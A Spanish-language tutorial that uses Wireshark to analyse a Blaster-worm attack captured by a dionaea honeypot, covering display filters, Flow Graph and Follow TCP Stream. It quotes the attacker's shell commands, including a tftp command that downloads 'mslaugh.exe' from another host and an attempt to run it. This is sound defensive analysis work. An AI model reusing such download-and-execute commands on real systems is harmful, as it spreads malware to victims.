Entomología con Wireshark

La entomología es la ciencia que estudia los insectos. En este artículo vamos a tomar el rol de un entomólogo y pasaremos a analizar los “insectos” que haya capturado nuestra planta dionaea, para ver si descubrimos algún espécimen nuevo. Y hasta aquí, cualquier similitud con esta ciencia.

En realidad, voy a contar el uso de wireshark para analizar un ataque recibido por nuestra sonda que está ejecutando dionaea y explicar cómo ver las pruebas, así como también algunas cosas más del funcionamiento de este interesante honeypot del que ya hemos hablado en alguna que otra ocasión. Adelanto que la captura del tráfico se hizo con tcpdump porque, aunque sabemos que dionaea se guarda el ejecutable que descarga, queríamos capturar todo el ataque, no sólo el ejecutable en cuestión.

De todo el tráfico que se capturó, nos queremos centrar únicamente en los ataques y no distraernos con tráfico que no aporta nada filtrando los paquetes que no pertenezcan a ese ataque. Para ello, podemos configurar el Filtro de la siguiente manera:

!(arp) and !(ntp) and !(dns)

De esta forma, se descartan paquetes que no interesan por ser tráfico que se encuentra en la red habitualmente y hacen más difícil la lectura. Observamos los paquetes que quedan y decidimos analizar un ataque que parece interesante, ya que implica conexiones de NetBIOS, TFTP y otro conexión con un protocolo “desconocido”.

Acotamos los paquetes que nos interesan creando un filtro añadiendo las direcciones IP de los equipos implicados en el ataque. Para crear este filtro, pulsamos botón derecho sobre la dirección IP y seleccionamos “Prepare a Filter->…and Selected”. De esta manera, vamos añadiendo las opciones al filtro existente. Lo que ocurre es que al seleccionar la columna de dirección IP, lo especifica como ip.src o ip.dst, así que se ampliará la selección indicando que queremos tanto origen como destino, cambiándolos a ip.addr. Repetimos este paso las veces necesarias (utilizando la opción “Prepare a Filter->…and Selected”, o “…or Selected”) hasta completar nuestro filtro y, por último, pinchamos en Apply.

Una forma de ver el ataque de manera general sería utilizando la funcionalidad Flow Graph y escogiendo la opción para los paquetes mostrados (Displayed packets, los que hemos filtrado).

Vemos cómo es el resultado del Flow Graph.

El ataque comienza cuando establece una conexión al puerto 135 y, mediante una petición RemoteCreateInstance, lanza lo que parece ser un exploit:

Una vez el exploit “ha tenido éxito”, el atacante se conecta al puerto 4444 y encuentra la shell remota que ha “abierto” en el equipo comprometido. En este caso, podemos ver la respuesta de dionaea para hacer creer al atacante que el ataque ha funcionado y que en el puerto 4444/TCP hay una consola de un sistema Windows XP.

Cuando accede a esta shell, vemos en el contenido del paquete que lanza un comando tftp para descargarse un fichero llamado mslaugh.exe.

tftp -i 192.168.1.101 GET mslaugh.exe

siendo la captura del paquete la siguiente:

Aquí es donde falla este ataque y no puede completarse. No acabo de entender por qué trata de bajar el código del virus desde esa IP y no desde un servidor público. Quizá sea debido a un error de programación ya que indica una dirección privada, en lugar de la pública del atacante, como sería lo habitual. A pesar de esto, nuestro dionaea le responde al atacante que lo está descargando (respondiendo downloading), aunque no sea verdad. Una vez cree que el archivo ya está descargado, trata de ejecutarlo, devolviéndole un error:

start mslaugh.exe
Command not found

mslaugh.exe
Command not found

Podemos ver más claramente esta conversación con la consola utilizando la funcionalidad de Wireshark Follow TCP Stream (útil cuando se trata de texto ASCII en claro). Para ello, pinchamos con botón derecho sobre un paquete de esa sesión TCP y seleccionamos “Follow TCP Stream”.

Si el sistema hubiera descargado el ejecutable, seguramente estaría comprometido, ya que lo habitual es que se tratara de algún tipo de virus.

Y hasta aquí el análisis de la captura; no podemos analizar mucho más. Buscando información por el nombre del ejecutable descargado y los puertos utilizados para realizar el ataque, podemos deducir que lo que hemos estado analizando ha sido el archiconocido, y antiquísimo, gusano Blaster. Quizá la próxima vez tengamos más suerte y descubramos alguna “rareza”. Por el momento, nos tenemos que conformar con esto.

Por último comentar que todo esto ha sido una interacción con dionaea, no una máquina real con Windows XP, por lo que todas las respuestas al ataque han sido falsas y sólo eran el resultado de la emulación que hace de los exploits y demás comandos que recibe. Respondiendo al atacante lo que quiere oír, para ver cómo continúa el ataque. De esta forma hemos podido analizar un ataque real contra nuestro honeypot.